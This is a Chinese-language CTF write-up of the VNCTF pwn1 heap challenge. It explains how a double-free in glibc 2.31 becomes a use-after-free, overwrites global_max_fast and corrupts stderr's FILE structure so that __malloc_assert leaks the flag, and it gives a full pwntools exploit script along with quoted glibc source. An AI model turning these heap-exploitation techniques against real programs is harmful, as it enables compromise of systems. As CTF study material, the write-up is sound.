VNCTF pwn1 这道题鸽了有半个多月了,终于把他做完了,当时是全场零解的题,看官方wp的时候有200多行的代码,看得我头皮发麻,幸好后面找见了个比较简单的wp,但这个wp就是简略的说了一下过程,还有我没有见过的stderr利用(不懂为什么不可以使用stdout),后面实验一下
这道题的代码量挺少的,主要逻辑是两个数组储存对的地址和堆的大小,在申请的时候会对size数组遍历检查,如果为0在此处储存新堆块的大小,对应地址数组的偏移储存地址,在free的时候不会检查地址数组,只检查size数组,然后free完不会清除地址,只清除size,导致可以doublefree,如果申请的时候idx是指定的就很方便了,但是这个不是指定的,而是遍历size数组的,况且是2.31的glibc,单纯doublefree是不行的,我们得通过doublefree构造UAF,通过doublefree构造UAF的方式先free一次,在申请出来,然后再free一次,这样就构成了UAF,为了不覆盖堆地址,所以需要doublefree的idx在后面才行(当时没想到,笨)。
我感觉这道题的精华就是把一个堆同时放到tcache和unsortedbin上面,这样tcache的fd就有了libc地址了,然后使用UAF进行爆破(有leak就不用这么麻烦了)。
主要思路 先在flag附近申请一个指定的堆块,然后利用UAF打global_max_fast,然后把这个堆块free到stderr的write_base上面,再利用UAF打stderr,修改flag和write_base的最后一个字节,至于为什么要改,因为这个堆的地址大于储存flag的地址,所以得改小,最后修改topchunk的size的大小和prev_size(0),最后申请一个大堆块,就会触发io_new_file_xsputn,这个函数在stdout就介绍过了,里面有一个sys_write()函数,只要file结构体的flag满足条件就行,这样就有了io函数了,就能输出flag值了。
这是我写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context.log_level='debug' sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so' }) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so' ) def add (size ): sh.sendafter('Choice:' ,'1' ) sh.sendafter('Size:' ,str (size)) def edit (idx,context ): sh.sendafter('Choice:' ,'2' ) sh.sendafter('Index:' ,str (idx)) sh.sendafter('Content:' ,context) def free (idx ): sh.sendafter('Choice:' ,'3' ) sh.sendlineafter('Index:' ,str (idx)) def exp (): add(0x14b0 ) for i in range (7 ): add(0x40 ) for i in range (7 ): add(0x50 ) add(0x100 ) add(0x110 ) add(0x120 ) add(0x440 ) for i in range (1 ,8 ): free(i) for i in range (8 ,15 ): free(i) free(15 ) add(0x100 ) for i in range (7 ): free(15 ) edit(1 ,p64(0 )*2 ) free(15 ) add(0x10 ) add(0xe0 ) edit(1 ,'\x80\xcb' ) add(0x100 ) free(16 ) add(0x110 ) for i in range (7 ): free(16 ) edit(5 ,p64(0 )*2 ) free(16 ) add(0x20 ) add(0xe0 ) edit(5 ,'\xc0\xa5' ) add(0x110 ) free(18 ) add(0x440 ) free(18 ) add(0x430 ) edit(9 ,'a' *0x430 +p64(0 )+p64(123 )) add(0x100 ) edit(11 ,p64(0x7fffffffffff )) free(0 ) add(0x110 ) edit(0 ,p64(0xfbad1887 ) + p64(0 )*3 + b'\x00' ) edit(11 ,p64(0x80 )) gdb.attach(sh) add(0x888 ) print sh.recv() sh.interactive() exp()
感觉对其中的调用链很模糊,再研究研究
stdout 之前能使用stdout进行leak最主要的原因是puts函数调用了_IO_file_xsputn
函数,而_IO_file_xsputn
函数会最终会调用io_overflow
函数,io_overflow
函数最后又会调用io_do_write
函数,io_do_write
函数又会调用new_do_write
注意上面的调用链是一定的,调用_IO_file_xsputn
函数以后最后一定会调用new_do_write
函数,而new_do_wirte
函数就是我们要利用的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { ... _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); ... return count; }
注意有个write的系统调用,把data输出到fp,fp如果是stdout或者是stderr,那就相当于把data输出到屏幕,之前对flag的设置就是为了new_do_write
函数能走到_IO_SYSWRITE (fp, data, to_do)
这道题之所以不能用stdout是因为输出函数是write函数,没有调用_IO_file_xsputn
函数
stderr 经过gdb的调试我找见了脚本最后的调用链malloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->buffered_vfprintf->_IO_file_xsputn
,这就和上面的stdout泄露的调用链连上了,虽然找见了调用链但是过程不是很清晰,和houseofkiwi扯上关系了,以后再学习叭,现在夜深了。
我找见了进入__malloc_assert
函数的源码,其中刷新stderr是利用的__fxprintf
,house of kiwi
使用的是fflush(stderr)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # define __assert_fail(assertion, file, line , function) \ __malloc_assert(assertion, file, line , function) extern const char *__progname;static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); }
看了会house of kiwi
不算很难,可以专门学习一波。
总结 当没有puts函数的时候,可以使用这个方法刷新srderr泄露信息,注意这种利用方式会导致程序退出,不适合泄露libc地址(除非没开aslr)。